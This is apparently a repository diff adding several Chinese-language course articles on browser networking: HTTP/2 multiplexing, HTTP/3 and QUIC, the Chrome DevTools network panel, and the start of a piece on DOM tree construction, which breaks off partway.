你可以想象一下系统同时建立了多条TCP连接当带宽充足时每条连接发送或者接收速度会慢慢向上增加而一旦带宽不足时这些TCP连接又会减慢发送或者接收的速度。比如一个页面有200个文件使用了3个CDN那么加载该网页的时候就需要建立6 * 3也就是18个TCP连接来下载资源在下载过程中当发现带宽不足的时候各个TCP连接就需要动态减慢接收数据的速度。
这样就会出现一个问题因为有的TCP连接下载的是一些关键资源如CSS文件、JavaScript文件等而有的TCP连接下载的是图片、视频等普通的资源文件但是多条TCP连接之间又不能协商让哪些关键资源优先下载这样就有可能影响那些关键资源的下载速度了。
**第三个原因HTTP/1.1队头阻塞的问题。**
通过[上一篇文章](https://time.geekbang.org/column/article/147501)我们知道在HTTP/1.1中使用持久连接时虽然能公用一个TCP管道但是在一个管道中同一时刻只能处理一个请求在当前的请求没有结束之前其他的请求只能处于阻塞状态。这意味着我们不能随意在一个管道中发送请求和接收内容。
这是一个很严重的问题因为阻塞请求的因素有很多并且都是一些不确定性的因素假如有的请求被阻塞了5秒那么后续排队的请求都要延迟等待5秒在这个等待的过程中带宽、CPU都被白白浪费了。
在浏览器处理生成页面的过程中,是非常希望能提前接收到数据的,这样就可以对这些数据做预处理操作,比如提前接收到了图片,那么就可以提前进行编解码操作,等到需要使用该图片的时候,就可以直接给出处理后的数据了,这样能让用户感受到整体速度的提升。
但队头阻塞使得这些数据不能并行请求,所以队头阻塞是很不利于浏览器优化的。
## HTTP/2的多路复用
前面我们分析了HTTP/1.1所存在的一些主要问题慢启动和TCP连接之间相互竞争带宽是由于TCP本身的机制导致的而队头阻塞是由于HTTP/1.1的机制导致的。
那么该如何去解决这些问题呢?
虽然TCP有问题但是我们依然没有换掉TCP的能力所以我们就要想办法去规避TCP的慢启动和TCP连接之间的竞争问题。
基于此HTTP/2的思路就是一个域名只使用一个TCP长连接来传输数据这样整个页面资源的下载过程只需要一次慢启动同时也避免了多个TCP连接竞争带宽所带来的问题。
另外就是队头阻塞的问题等待请求完成后才能去请求下一个资源这种方式无疑是最慢的所以HTTP/2需要实现资源的并行请求也就是任何时候都可以将请求发送给服务器而并不需要等待其他请求的完成然后服务器也可以随时返回处理好的请求资源给浏览器。
所以HTTP/2的解决方案可以总结为**一个域名只使用一个TCP长连接和消除队头阻塞问题**。可以参考下图:
<img src="https://static001.geekbang.org/resource/image/0a/00/0a990f86ad9c19fd7d7620b2ef7ee900.jpg" alt="">
该图就是HTTP/2最核心、最重要且最具颠覆性的**多路复用机制**。从图中你会发现每个请求都有一个对应的ID如stream1表示index.html的请求stream2表示foo.css的请求。这样在浏览器端就可以随时将请求发送给服务器了。
服务器端接收到这些请求后会根据自己的喜好来决定优先返回哪些内容比如服务器可能早就缓存好了index.html和bar.js的响应头信息那么当接收到请求的时候就可以立即把index.html和bar.js的响应头信息返回给浏览器然后再将index.html和bar.js的响应体数据返回给浏览器。之所以可以随意发送是因为每份数据都有对应的ID浏览器接收到之后会筛选出相同ID的内容将其拼接为完整的HTTP响应数据。
HTTP/2使用了多路复用技术可以将请求分成一帧一帧的数据去传输这样带来了一个额外的好处就是当收到一个优先级高的请求时比如接收到JavaScript或者CSS关键资源的请求服务器可以暂停之前的请求来优先处理关键资源的请求。
## 多路复用的实现
现在我们知道为了解决HTTP/1.1存在的问题HTTP/2采用了多路复用机制那HTTP/2是怎么实现多路复用的呢你可以先看下面这张图
<img src="https://static001.geekbang.org/resource/image/86/6a/86cdf01a3af7f4f755d28917e58aae6a.png" alt="">
从图中可以看出HTTP/2添加了一个**二进制分帧层**那我们就结合图来分析下HTTP/2的请求和接收过程。
- 首先浏览器准备好请求数据包括了请求行、请求头等信息如果是POST方法那么还要有请求体。
- 这些数据经过二进制分帧层处理之后会被转换为一个个带有请求ID编号的帧通过协议栈将这些帧发送给服务器。
- 服务器接收到所有帧之后会将所有相同ID的帧合并为一条完整的请求信息。
- 然后服务器处理该条请求,并将处理的响应行、响应头和响应体分别发送至二进制分帧层。
- 同样二进制分帧层会将这些响应数据转换为一个个带有请求ID编号的帧经过协议栈发送给浏览器。
- 浏览器接收到响应帧之后会根据ID编号将帧的数据提交给对应的请求。
从上面的流程可以看出,**通过引入二进制分帧层就实现了HTTP的多路复用技术**。
[上一篇文章](https://time.geekbang.org/column/article/147501)我们介绍过HTTP是浏览器和服务器通信的语言在这里虽然HTTP/2引入了二进制分帧层不过HTTP/2的语义和HTTP/1.1依然是一样的也就是说它们通信的语言并没有改变比如开发者依然可以通过Accept请求头告诉服务器希望接收到什么类型的文件依然可以使用Cookie来保持登录状态依然可以使用Cache来缓存本地文件这些都没有变发生改变的只是传输方式。这一点对开发者来说尤为重要这意味着我们不需要为HTTP/2去重建生态并且HTTP/2推广起来会也相对更轻松了。
## HTTP/2其他特性
通过上面的分析我们知道了多路复用是HTTP/2的最核心功能它能实现资源的并行传输。多路复用技术是建立在二进制分帧层的基础之上。其实基于二进制分帧层HTTP/2还附带实现了很多其他功能下面我们就来简要了解下。
### 1. 可以设置请求的优先级
我们知道浏览器中有些数据是非常重要的,但是在发送请求时,重要的请求可能会晚于那些不怎么重要的请求,如果服务器按照请求的顺序来回复数据,那么这个重要的数据就有可能推迟很久才能送达浏览器,这对于用户体验来说是非常不友好的。
为了解决这个问题HTTP/2提供了请求优先级可以在发送请求时标上该请求的优先级这样服务器接收到请求之后会优先处理优先级高的请求。
### 2. 服务器推送
除了设置请求的优先级外HTTP/2还可以直接将数据提前推送到浏览器。你可以想象这样一个场景当用户请求一个HTML页面之后服务器知道该HTML页面会引用几个重要的JavaScript文件和CSS文件那么在接收到HTML请求之后附带将要使用的CSS文件和JavaScript文件一并发送给浏览器这样当浏览器解析完HTML文件之后就能直接拿到需要的CSS文件和JavaScript文件这对首次打开页面的速度起到了至关重要的作用。
### 3. 头部压缩
无论是HTTP/1.1还是HTTP/2它们都有请求头和响应头这是浏览器和服务器的通信语言。HTTP/2对请求头和响应头进行了压缩你可能觉得一个HTTP的头文件没有多大压不压缩可能关系不大但你这样想一下在浏览器发送请求的时候基本上都是发送HTTP请求头很少有请求体的发送通常情况下页面也有100个左右的资源如果将这100个请求头的数据压缩为原来的20%,那么传输效率肯定能得到大幅提升。
## 总结
好了,今天就介绍这里,下面我来总结下本文的主要内容。
我们首先分析了影响HTTP/1.1效率的三个主要因素TCP的慢启动、多条TCP连接竞争带宽和队头阻塞。
接下来我们分析了HTTP/2是如何采用多路复用机制来解决这些问题的。多路复用是通过在协议栈中添加二进制分帧层来实现的有了二进制分帧层还能够实现请求的优先级、服务器推送、头部压缩等特性从而大大提升了文件传输效率。
HTTP/2协议规范于2015年5月正式发布在那之后该协议已在互联网和万维网上得到了广泛的实现和部署。从目前的情况来看国内外一些排名靠前的站点基本都实现了HTTP/2的部署。使用HTTP/2能带来20%60%的效率提升至于20%还是60%要看优化的程度。总之我们也应该与时俱进放弃HTTP/1.1和其性能优化方法去“拥抱”HTTP/2。
## 思考时间
虽然HTTP/2解决了HTTP/1.1中的队头阻塞问题但是HTTP/2依然是基于TCP协议的而TCP协议依然存在数据包级别的队头阻塞问题那么你觉得TCP的队头阻塞是如何影响到HTTP/2性能的呢
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,115 @@
<audio id="audio" title="31HTTP/3甩掉TCP、TLS 的包袱,构建高效网络" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/19/3e/194450bbd8a633f3924282cc32516b3e.mp3"></audio>
前面两篇文章我们分析了HTTP/1和HTTP/2在HTTP/2出现之前开发者需要采取很多变通的方式来解决HTTP/1所存在的问题不过HTTP/2在2018年就开始得到了大规模的应用HTTP/1中存在的一大堆缺陷都得到了解决。
HTTP/2的一个核心特性是使用了多路复用技术因此它可以通过一个TCP连接来发送多个URL请求。多路复用技术能充分利用带宽最大限度规避了TCP的慢启动所带来的问题同时还实现了头部压缩、服务器推送等功能使得页面资源的传输速度得到了大幅提升。在HTTP/1.1时代为了提升并行下载效率浏览器为每个域名维护了6个TCP连接而采用HTTP/2之后浏览器只需要为每个域名维护1个TCP持久连接同时还解决了HTTP/1.1队头阻塞的问题。
从目前的情况来看HTTP/2似乎可以完美取代HTTP/1了不过HTTP/2依然存在一些缺陷于是就有了HTTP/3。和通常一样介绍HTTP/3之前我们先来看看HTTP/2到底有什么缺陷。
## TCP的队头阻塞
虽然HTTP/2解决了应用层面的队头阻塞问题不过和HTTP/1.1一样HTTP/2依然是基于TCP协议的而TCP最初就是为了单连接而设计的。你可以把TCP连接看成是两台计算机之前的一个虚拟管道计算机的一端将要传输的数据按照顺序放入管道最终数据会以相同的顺序出现在管道的另外一头。
接下来我们就来分析下HTTP/1.1协议栈中TCP是如何传输数据的。为直观理解你可以参考下图
<img src="https://static001.geekbang.org/resource/image/c2/f0/c231ab4b825df8b6f730f484fce596f0.png" alt="">
通过上图你会发现,从一端发送给另外一端的数据会被拆分为一个个按照顺序排列的数据包,这些数据包通过网络传输到了接收端,接收端再按照顺序将这些数据包组合成原始数据,这样就完成了数据传输。
不过如果在数据传输的过程中有一个数据因为网络故障或者其他原因而丢包了那么整个TCP的连接就会处于暂停状态需要等待丢失的数据包被重新传输过来。你可以把TCP连接看成是一个按照顺序传输数据的管道管道中的任意一个数据丢失了那之后的数据都需要等待该数据的重新传输。为了直观理解你可以参考下图
<img src="https://static001.geekbang.org/resource/image/33/96/33d2b4c14a7a2f19ef6677696b67de96.png" alt="">
我们就把**在TCP传输过程中由于单个数据包的丢失而造成的阻塞称为TCP上的队头阻塞**。
那队头阻塞是怎么影响HTTP/2传输的呢首先我们来看正常情况下HTTP/2是怎么传输多路请求的为了直观理解你可以参考下图
<img src="https://static001.geekbang.org/resource/image/48/d1/4837434655a6d87f1bf5e3d899a698d1.png" alt="">
通过该图我们知道在HTTP/2中多个请求是跑在一个TCP管道中的如果其中任意一路数据流中出现了丢包的情况那么就会阻塞该TCP连接中的所有请求。这不同于HTTP/1.1使用HTTP/1.1时浏览器为每个域名开启了6个TCP连接如果其中的1个TCP连接发生了队头阻塞那么其他的5个连接依然可以继续传输数据。
所以随着丢包率的增加HTTP/2的传输效率也会越来越差。有测试数据表明当系统达到了2%的丢包率时HTTP/1.1的传输效率反而比HTTP/2表现得更好。
## TCP建立连接的延时
除了TCP队头阻塞之外TCP的握手过程也是影响传输效率的一个重要因素。
为了搞清楚TCP协议建立连接的延迟问题我们还是先来回顾下网络延迟的概念这会有助于你对后面内容的理解。网络延迟又称为RTTRound Trip Time。我们把从浏览器发送一个数据包到服务器再从服务器返回数据包到浏览器的整个往返时间称为RTT如下图。RTT是反映网络性能的一个重要指标。
<img src="https://static001.geekbang.org/resource/image/e9/4f/e98927e19b20349815fb8f499067cb4f.png" alt="">
那建立TCP连接时需要花费多少个RTT呢下面我们来计算下。
我们知道HTTP/1和HTTP/2都是使用TCP协议来传输的而如果使用HTTPS的话还需要使用TLS协议进行安全传输而使用TLS也需要一个握手过程这样就需要有两个握手延迟过程。
1. 在建立TCP连接的时候需要和服务器进行三次握手来确认连接成功也就是说需要在消耗完1.5个RTT之后才能进行数据传输。
1. 进行TLS连接TLS有两个版本——TLS1.2和TLS1.3每个版本建立连接所花的时间不同大致是需要12个RTT关于HTTPS我们到后面到安全模块再做详细介绍。
总之在传输数据之前我们需要花掉34个RTT。如果浏览器和服务器的物理距离较近那么1个RTT的时间可能在10毫秒以内也就是说总共要消耗掉3040毫秒。这个时间也许用户还可以接受但如果服务器相隔较远那么1个RTT就可能需要100毫秒以上了这种情况下整个握手过程需要300400毫秒这时用户就能明显地感受到“慢”了。
## TCP协议僵化
现在我们知道了TCP协议存在队头阻塞和建立连接延迟等缺点那我们是不是可以通过改进TCP协议来解决这些问题呢
答案是:**非常困难**。之所以这样,主要有两个原因。
第一个是**中间设备的僵化**。要搞清楚什么是中间设备僵化,我们先要弄明白什么是中间设备。我们知道互联网是由多个网络互联的网状结构,为了能够保障互联网的正常工作,我们需要在互联网的各处搭建各种设备,这些设备就被称为中间设备。
这些中间设备有很多种类型并且每种设备都有自己的目的这些设备包括了路由器、防火墙、NAT、交换机等。它们通常依赖一些很少升级的软件这些软件使用了大量的TCP特性这些功能被设置之后就很少更新了。
所以如果我们在客户端升级了TCP协议但是当新协议的数据包经过这些中间设备时它们可能不理解包的内容于是这些数据就会被丢弃掉。这就是中间设备僵化它是阻碍TCP更新的一大障碍。
除了中间设备僵化外,**操作系统也是导致TCP协议僵化的另外一个原因**。因为TCP协议都是通过操作系统内核来实现的应用程序只能使用不能修改。通常操作系统的更新都滞后于软件的更新因此要想自由地更新内核中的TCP协议也是非常困难的。
## QUIC协议
HTTP/2存在一些比较严重的与TCP协议相关的缺陷但由于TCP协议僵化我们几乎不可能通过修改TCP协议自身来解决这些问题那么解决问题的思路是绕过TCP协议发明一个TCP和UDP之外的新的传输协议。但是这也面临着和修改TCP一样的挑战因为中间设备的僵化这些设备只认TCP和UDP如果采用了新的协议新协议在这些设备同样不被很好地支持。
因此HTTP/3选择了一个折衷的方法——UDP协议基于UDP实现了类似于 TCP的多路数据流、传输可靠性等功能我们把这套功能称为**QUIC协议**。关于HTTP/2和HTTP/3协议栈的比较你可以参考下图
<img src="https://static001.geekbang.org/resource/image/0b/c6/0bae470bb49747b9a59f9f4bb496a9c6.png" alt="">
通过上图我们可以看出HTTP/3中的QUIC协议集合了以下几点功能。
- **实现了类似TCP的流量控制、传输可靠性的功能**。虽然UDP不提供可靠性的传输但QUIC在UDP的基础之上增加了一层来保证数据可靠性传输。它提供了数据包重传、拥塞控制以及其他一些TCP中存在的特性。
- **集成了TLS加密功能**。目前QUIC使用的是TLS1.3相较于早期版本TLS1.3有更多的优点其中最重要的一点是减少了握手所花费的RTT个数。
- **实现了HTTP/2中的多路复用功能**。和TCP不同QUIC实现了在同一物理连接上可以有多个独立的逻辑数据流如下图。实现了数据流的单独传输就解决了TCP中队头阻塞的问题。
<img src="https://static001.geekbang.org/resource/image/05/9a/05cc5720989aec75730ee4cb7e7c149a.png" alt="">
- **实现了快速握手功能**。由于QUIC是基于UDP的所以QUIC可以实现使用0-RTT或者1-RTT来建立连接这意味着QUIC可以用最快的速度来发送和接收数据这样可以大大提升首次打开页面的速度。
## HTTP/3的挑战
通过上面的分析我们相信在技术层面HTTP/3是个完美的协议。不过要将HTTP/3应用到实际环境中依然面临着诸多严峻的挑战这些挑战主要来自于以下三个方面。
第一从目前的情况来看服务器和浏览器端都没有对HTTP/3提供比较完整的支持。Chrome虽然在数年前就开始支持Google版本的QUIC但是这个版本的QUIC和官方的QUIC存在着非常大的差异。
第二部署HTTP/3也存在着非常大的问题。因为系统内核对UDP的优化远远没有达到TCP的优化程度这也是阻碍QUIC的一个重要原因。
第三中间设备僵化的问题。这些设备对UDP的优化程度远远低于TCP据统计使用QUIC协议时大约有3%7%的丢包率。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
我们首先分析了HTTP/2中所存在的一些问题主要包括了TCP的队头阻塞、建立TCP连接的延时、TCP协议僵化等问题。
这些问题都是TCP的内部问题因此要解决这些问题就要优化TCP或者“另起炉灶”创造新的协议。由于优化TCP协议存在着诸多挑战所以官方选择了创建新的QUIC协议。
HTTP/3正是基于QUIC协议的你可以把QUIC看成是集成了“TCP+HTTP/2的多路复用+TLS等功能”的一套协议。这是集众家所长的一个协议从协议最底层对Web的文件传输做了比较彻底的优化所以等生态相对成熟时可以用来打造比现在的HTTP/2还更加高效的网络。
虽说这套协议解决了HTTP/2中因TCP而带来的问题不过由于是改动了底层协议所以推广起来还会面临着巨大的挑战。
关于HTTP/3的未来我有下面两点判断
1. 从标准制定到实践再到协议优化还需要走很长一段路;
1. 因为动了底层协议所以HTTP/3的增长会比较缓慢这和HTTP/2有着本质的区别。
## 思考时间
那你来总结一下HTTP/3都做了哪些性能上的改进它所面临的挑战又是什么
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,163 @@
<audio id="audio" title="21 | Chrome开发者工具利用网络面板做性能分析" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/03/f9/030227dfbb99951536220bbf68fa43f9.mp3"></audio>
“浏览器中的页面循环系统”模块我们已经介绍完了,循环系统是页面的基础,理解了循环系统能让我们从本质上更好地理解页面的工作方式,加深我们对一些前端概念的理解。
接下来我们就要进入新的模块了也就是“浏览器中的页面”模块正如专栏简介中所言页面是浏览器的核心浏览器中的所有功能点都是服务于页面的而Chrome开发者工具又是工程师调试页面的核心工具所以在这个模块的开篇我想先带你来深入了解下Chrome开发者工具。
**Chrome开发者工具简称DevTools是一组网页制作和调试的工具内嵌于Google Chrome 浏览器中**。Chrome开发者工具非常重要所蕴含的内容也是非常多的熟练使用它能让你更加深入地了解浏览器内部工作原理。Chrome开发者工具也在不停地迭代改进如果你想使用最新版本可以使用[Chrome Canary](https://www.google.com/intl/en/chrome/canary/)。)
作为这一模块的第一篇文章,我们主要聚焦**页面的源头**和**网络数据的接收**这些发送和接收的数据都能体现在开发者工具的网络面板上。不过为了你能更好地理解和掌握我们会先对Chrome开发者工具做一个大致的介绍然后再深入剖析网络面板。
## Chrome开发者工具
Chrome开发者工具有很多重要的面板比如与性能相关的有网络面板、Performance面板、内存面板等与调试页面相关的有Elements面板、Sources面板、Console面板等。
你可以在浏览器窗口的右上方选择Chrome菜单然后选择“更多工具&gt;开发者工具”来打开Chrome开发者工具。打开的页面如下图所示
<img src="https://static001.geekbang.org/resource/image/68/8d/68edf7b09e33b5481b49dc76967b838d.png" alt="">
从图中可以看出它一共包含了10个功能面板包括了Elements、Console、Sources、NetWork、Performance、Memory、Application、Security、Audits和Layers。
关于这10个面板的大致功能我做了一个表格感兴趣的话你可以详细看下
<img src="https://static001.geekbang.org/resource/image/c5/82/c5eb9603e79547ae3d815254e24d4782.png" alt="">
简单来说Chrome开发者工具为我们提供了通过界面访问或者编辑DOM和CSSOM的能力还提供了强大的调试功能和查看性能指标的能力。
OK接下来我们就要重点看下其中重要的Network面板即网络面板。
## 网络面板
网络面板由控制器、过滤器、抓图信息、时间线、详细列表和下载信息概要这6个区域构成如下图所示
<img src="https://static001.geekbang.org/resource/image/46/57/46fba54f54b9bd43918308f9f1ae1357.png" alt="">
### 1. 控制器
其中控制器有4个比较重要的功能我们按照下文中的这张图来简单介绍下。
<img src="https://static001.geekbang.org/resource/image/f0/42/f02477088c0499247e0ed37f46ad2a42.png" alt="">
- 红色圆点的按钮,表示“开始/暂停抓包”,这个功能很常见,很容易理解。
- “全局搜索”按钮,这个功能就非常重要了,可以在所有下载资源中搜索相关内容,还可以快速定位到某几个你想要的文件上。
- Disable cache即“禁止从Cache中加载资源”的功能它在调试Web应用的时候非常有用因为开启了Cache会影响到网络性能测试的结果。
- Online按钮是“模拟2G/3G”功能它可以限制带宽模拟弱网情况下页面的展现情况然后你就可以根据实际展示情况来动态调整策略以便让Web应用更加适用于这些弱网。
### 2. 过滤器
网络面板中的过滤器主要就是起过滤功能。因为有时候一个页面有太多内容在详细列表区域中展示了而你可能只想查看JavaScript文件或者CSS文件这时候就可以通过过滤器模块来筛选你想要的文件类型。
### 3. 抓图信息
抓图信息区域可以用来分析用户等待页面加载时间内所看到的内容分析用户实际的体验情况。比如如果页面加载1秒多之后屏幕截图还是白屏状态这时候就需要分析是网络还是代码的问题了。勾选面板上的“Capture screenshots”即可启用屏幕截图。
### 4. 时间线
时间线主要用来展示HTTP、HTTPS、WebSocket加载的状态和时间的一个关系用于直观感受页面的加载过程。如果是多条竖线堆叠在一起那说明这些资源被同时被加载。至于具体到每个文件的加载信息还需要用到下面要讲的详细列表。
### 5. 详细列表
这个区域是最重要的,它详细记录了每个资源从发起请求到完成请求这中间所有过程的状态,以及最终请求完成的数据信息。通过该列表,你就能很容易地去诊断一些网络问题。
详细列表是我们本篇文章介绍的重点,不过内容比较多,所以放到最后去专门介绍了。
### 6. 下载信息概要
下载信息概要中你要重点关注下DOMContentLoaded和Load两个事件以及这两个事件的完成时间。
- DOMContentLoaded这个事件发生后说明页面已经构建好DOM了这意味着构建DOM所需要的HTML文件、JavaScript文件、CSS文件都已经下载完成了。
- Load说明浏览器已经加载了所有的资源图像、样式表等
通过下载信息概要面板,你可以查看触发这两个事件所花费的时间。
## 网络面板中的详细列表
下面我们就来重点介绍网络面板中的详细列表,这里面包含了大量有用的信息。
### 1. 列表的属性
列表的属性比较多比如Name、Status、Type、Initiator等等这个不难理解。当然你还可以通过点击右键的下拉菜单来添加其他属性这里我就不再赘述了你可以自己上手实操一下。
另外,你也可以按照列表的属性来给列表排序,默认情况下,列表是按请求发起的时间来排序的,最早发起请求的资源在顶部。当然也可以按照返回状态码、请求类型、请求时长、内容大小等基础属性排序,只需点击相应属性即可。
<img src="https://static001.geekbang.org/resource/image/7b/81/7b296e168a4900d3b5cb8e57cc3f6181.png" alt="">
### 2. 详细信息
如果你选中详细列表中的一项,右边就会出现该项的详细信息,如下所示:
<img src="https://static001.geekbang.org/resource/image/f7/e6/f76ee3b6b2e6e9629efdd01e6ded57e6.png" alt="">
你可以在此查看请求列表中任意一项的请求行和请求头信息,还可以查看响应行、响应头和响应体。然后你可以根据这些查看的信息来判断你的业务逻辑是否正确,或者有时候也可以用来逆向推导别人网站的业务逻辑。
### 3. 单个资源的时间线
了解了每个资源的详细请求信息之后我们再来分析单个资源请求时间线这就涉及具体的HTTP请求流程了。
<img src="https://static001.geekbang.org/resource/image/1f/e0/1f4f8c194b02975f6d2848b7b73175e0.png" alt="">
我们再回顾下在[《03 | HTTP请求流程为什么很多站点第二次打开速度会很快](https://time.geekbang.org/column/article/116588)这篇文章我们介绍过发起一个HTTP请求之后浏览器首先查找缓存如果缓存没有命中那么继续发起DNS请求获取IP地址然后利用IP地址和服务器端建立TCP连接再发送HTTP请求等待服务器响应不过如果服务器响应头中包含了重定向的信息那么整个流程就需要重新再走一遍。这就是在浏览器中一个HTTP请求的基础流程。
那详细列表中是如何表示出这个流程的呢?这就要重点看下时间线面板了:
<img src="https://static001.geekbang.org/resource/image/ba/af/ba91f06503bda4b4dc4a54901bd7a8af.png" alt="">
那面板中这各项到底是什么含义呢?
**第一个是Queuing**,也就是排队的意思,当浏览器发起一个请求的时候,会有很多原因导致该请求不能被立即执行,而是需要排队等待。导致请求处于排队状态的原因有很多。
- 首先页面中的资源是有优先级的比如CSS、HTML、JavaScript等都是页面中的核心文件所以优先级最高而图片、视频、音频这类资源就不是核心资源优先级就比较低。通常当后者遇到前者时就需要“让路”进入待排队状态。
- 其次我们前面也提到过浏览器会为每个域名最多维护6个TCP连接如果发起一个HTTP请求时这6个TCP连接都处于忙碌状态那么这个请求就会处于排队状态。
- 最后网络进程在为数据分配磁盘空间时新的HTTP请求也需要短暂地等待磁盘分配结束。
等待排队完成之后,就要进入发起连接的状态了。不过在发起连接之前,还有一些原因可能导致连接过程被推迟,这个推迟就表现在面板中的**Stalled**上,它表示停滞的意思。
这里需要额外说明的是,如果你使用了代理服务器,还会增加一个**Proxy Negotiation**阶段,也就是代理协商阶段,它表示代理服务器连接协商所用的时间,不过在上图中没有体现出来,因为这里我们没有使用代理服务器。
接下来,就到了**Initial connection/SSL阶段**了也就是和服务器建立连接的阶段这包括了建立TCP连接所花费的时间不过如果你使用了HTTPS协议那么还需要一个额外的SSL握手时间这个过程主要是用来协商一些加密信息的。关于SSL协商的详细过程我们会在Web安全模块中介绍。
和服务器建立好连接之后,网络进程会准备请求数据,并将其发送给网络,这就是**Request sent阶段**。通常这个阶段非常快因为只需要把浏览器缓冲区的数据发送出去就结束了并不需要判断服务器是否接收到了所以这个时间通常不到1毫秒。
数据发送出去了接下来就是等待接收服务器第一个字节的数据这个阶段称为Waiting (TTFB),通常也称为“**第一字节时间**”。 TTFB是反映服务端响应速度的重要指标对服务器来说TTFB 时间越短,就说明服务器响应越快。
接收到第一个字节之后,进入陆续接收完整数据的阶段,也就是**Content Download阶段**,这意味着从第一字节时间到接收到全部响应数据所用的时间。
## 优化时间线上耗时项
了解了时间线面板上的各项含义之后,我们就可以根据这个请求的时间线来实现相关的优化操作了。
### 1. 排队Queuing时间过久
排队时间过久大概率是由浏览器为每个域名最多维护6个连接导致的。那么基于这个原因你就可以让1个站点下面的资源放在多个域名下面比如放到3个域名下面这样就可以同时支持18个连接了这种方案称为**域名分片**技术。除了域名分片技术外,我个人还建议你**把站点升级到HTTP2**因为HTTP2已经没有每个域名最多维护6个TCP连接的限制了。
### 2. 第一字节时间TTFB时间过久
这可能的原因有如下:
- **服务器生成页面数据的时间过久**。对于动态网页来说,服务器收到用户打开一个页面的请求时,首先要从数据库中读取该页面需要的数据,然后把这些数据传入到模板中,模板渲染后,再返回给用户。服务器在处理这个数据的过程中,可能某个环节会出问题。
- **网络的原因**。比如使用了低带宽的服务器,或者本来用的是电信的服务器,可联通的网络用户要来访问你的服务器,这样也会拖慢网速。
- **发送请求头时带上了多余的用户信息**。比如一些不必要的Cookie信息服务器接收到这些Cookie信息之后可能需要对每一项都做处理这样就加大了服务器的处理时长。
对于这三种问题你要有针对性地出一些解决方案。面对第一种服务器的问题你可以想办法去提高服务器的处理速度比如通过增加各种缓存的技术针对第二种网络问题你可以使用CDN来缓存一些静态文件至于第三种你在发送请求时就去尽可能地减少一些不必要的Cookie数据信息。
### 3. Content Download时间过久
如果单个请求的Content Download花费了大量时间有可能是字节数太多的原因导致的。这时候你就需要减少文件大小比如压缩、去掉源码中不必要的注释等方法。
## 总结
好了,今天就介绍到这里了,下面我来总结下今天的内容。
首先我们简单介绍了Chrome开发者工具10个基础的面板信息然后重点剖析了网络面板再结合之前介绍的网络请求流程来重点分析了网络面板中时间线的各个指标的含义最后我们还简要分析了时间线中各项指标出现异常的可能原因并给出了一些优化方案。
其实通过今天的分析,我们可以得出这样一个结论:如果你要去做一些实践性的项目优化,理解其背后的理论至关重要。因为理论就是一条“线”,它会把各种实践的内容“串”在一起,然后你可以围绕着这条“线”来排查问题。
## 思考时间
今天我们介绍了网络面板还有一个非常重要的Performance面板我们没有介绍不过你可以去网上查找一些相关的资料。
所以今天留给你的是一道实际操作的题目你可以结合网络面板和Performance面板来分析一个Web应用的性能瓶颈比如[https://www.12306.cn](https://www.12306.cn/index/) )。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,218 @@
<audio id="audio" title="22 | DOM树JavaScript是如何影响DOM树构建的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ff/d5/ff2e8f210ed4ade39f5b72902e3c40d5.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/138844)中,我们通过开发者工具中的网络面板,介绍了网络请求过程的几种**性能指标**以及对页面加载的影响。
而在渲染流水线中后面的步骤都直接或者间接地依赖于DOM结构所以本文我们就继续沿着网络数据流路径来**介绍DOM树是怎么生成的**。然后再基于DOM树的解析流程介绍两块内容第一个是在解析过程中遇到JavaScript脚本DOM解析器是如何处理的第二个是DOM解析器是如何处理跨站点资源的
## 什么是DOM
从网络传给渲染引擎的HTML文件字节流是无法直接被渲染引擎理解的所以要将其转化为渲染引擎能够理解的内部结构这个结构就是DOM。DOM提供了对HTML文档结构化的表述。在渲染引擎中DOM有三个层面的作用。
- 从页面的视角来看DOM是生成页面的基础数据结构。
- 从JavaScript脚本视角来看DOM提供给JavaScript脚本操作的接口通过这套接口JavaScript可以对DOM结构进行访问从而改变文档的结构、样式和内容。
- 从安全视角来看DOM是一道安全防护线一些不安全的内容在DOM解析阶段就被拒之门外了。
简言之DOM是表述HTML的内部数据结构它会将Web页面和JavaScript脚本连接起来并过滤一些不安全的内容。
## DOM树如何生成
在渲染引擎内部,有一个叫**HTML解析器HTMLParser**的模块它的职责就是负责将HTML字节流转换为DOM结构。所以这里我们需要先要搞清楚HTML解析器是怎么工作的。
在开始介绍HTML解析器之前我要先解释一个大家在留言区问到过好多次的问题**HTML解析器是等整个HTML文档加载完成之后开始解析的还是随着HTML文档边加载边解析的**
在这里我统一解答下HTML解析器并不是等整个文档加载完成之后再解析的而是**网络进程加载了多少数据HTML解析器便解析多少数据**。
那详细的流程是怎样的呢网络进程接收到响应头之后会根据响应头中的content-type字段来判断文件的类型比如content-type的值是“text/html”那么浏览器就会判断这是一个HTML类型的文件然后为该请求选择或者创建一个渲染进程。渲染进程准备好之后**网络进程和渲染进程之间会建立一个共享数据的管道**网络进程接收到数据后就往这个管道里面放而渲染进程则从管道的另外一端不断地读取数据并同时将读取的数据“喂”给HTML解析器。你可以把这个管道想象成一个“水管”网络进程接收到的字节流像水一样倒进这个“水管”而“水管”的另外一端是渲染进程的HTML解析器它会动态接收字节流并将其解析为DOM。
解答完这个问题之后接下来我们就可以来详细聊聊DOM的具体生成流程了。
前面我们说过代码从网络传输过来是字节流的形式那么后续字节流是如何转换为DOM的呢你可以参考下图
<img src="https://static001.geekbang.org/resource/image/1b/8c/1bfcd419acf6402c20ffc1a5b1909d8c.png" alt="">
从图中你可以看出字节流转换为DOM需要三个阶段。
**第一个阶段通过分词器将字节流转换为Token。**
前面[《14 | 编译器和解释器V8是如何执行一段JavaScript代码的](https://time.geekbang.org/column/article/131887)文章中我们介绍过V8编译JavaScript过程中的第一步是做词法分析将JavaScript先分解为一个个Token。解析HTML也是一样的需要通过分词器先将字节流转换为一个个Token分为Tag Token和文本Token。上述HTML代码通过词法分析生成的Token如下所示
<img src="https://static001.geekbang.org/resource/image/b1/ac/b16d2fbb77e12e376ac0d7edec20ceac.png" alt="">
